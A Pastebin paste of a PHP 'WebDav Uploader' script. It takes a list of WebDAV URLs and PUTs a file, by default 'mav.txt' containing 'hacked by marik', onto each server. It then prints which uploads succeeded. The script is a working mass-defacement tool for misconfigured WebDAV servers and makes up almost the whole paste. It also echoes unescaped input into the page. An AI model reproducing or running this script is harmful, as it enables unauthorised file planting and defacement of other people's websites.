Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <center>
- <font style="font-size:40px;">WebDav Uploader</font>
- <?php
- echo '<form action="" method="post">
- Filename:<input name="nam" value="mav.txt"><br />
- Text:<br />
- <textarea name="isi" cols="50" rows="30">hacked by marik</textarea><br />
- webdav url:<br />
- <textarea name="wd" cols="50" rows="30">http://</textarea><br />
- <input type="submit">
- </form>';
- $filename = $_POST["nam"];
- $url = $_POST["wd"];
- $isi = $_POST["isi"];
- $wd = preg_split('/(\r?\n)+/', $_POST['wd']);
- foreach($wd as $phc)
- {
- $taz = fopen("sementara.phc", "w+");
- fwrite($taz, $isi);
- fclose($taz);
- // Prepare the file we are going to upload
- $filepath = "sementara.phc";
- $filesize = filesize($filepath);
- $fh = fopen($filepath, 'r');
- // The URL where we will upload to, this should be the exact path where the file
- // is going to be placed
- $remoteUrl = $phc;
- // Initialize cURL and set the options required for the upload. We use the remote
- // path we specified together with the filename. This will be the result of the
- // upload.
- $ch = curl_init($remoteUrl ."/". $filename);
- // I'm setting each option individually so it's easier to debug them when
- // something goes wrong. When your configuration is done and working well
- // you can choose to use curl_setopt_array() instead.
- // Set the authentication mode and login credentials
- curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_ANY);
- // Define that we are going to upload a file, by setting CURLOPT_PUT we are
- // forced to set CURLOPT_INFILE and CURLOPT_INFILESIZE as well.
- curl_setopt($ch, CURLOPT_PUT, true);
- curl_setopt($ch, CURLOPT_INFILE, $fh);
- curl_setopt($ch, CURLOPT_INFILESIZE, $filesize);
- // Execute the request, upload the file
- $cek = curl_exec($ch);
- if($url != null)
- {
- if($cek === false)
- {
- echo "<a href='".$phc."/".$filename."'>".$phc."/".$filename."</a>:[failed]<br />";
- }
- else
- {
- echo "<a href='".$phc."/".$filename."'>".$phc."/".$filename."</a>:[uploaded]<br />";
- }
- }
- else
- {
- }
- // Close the file handle
- fclose($fh);
- }
- unlink("sementara.phc");
- ?>
- </font>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement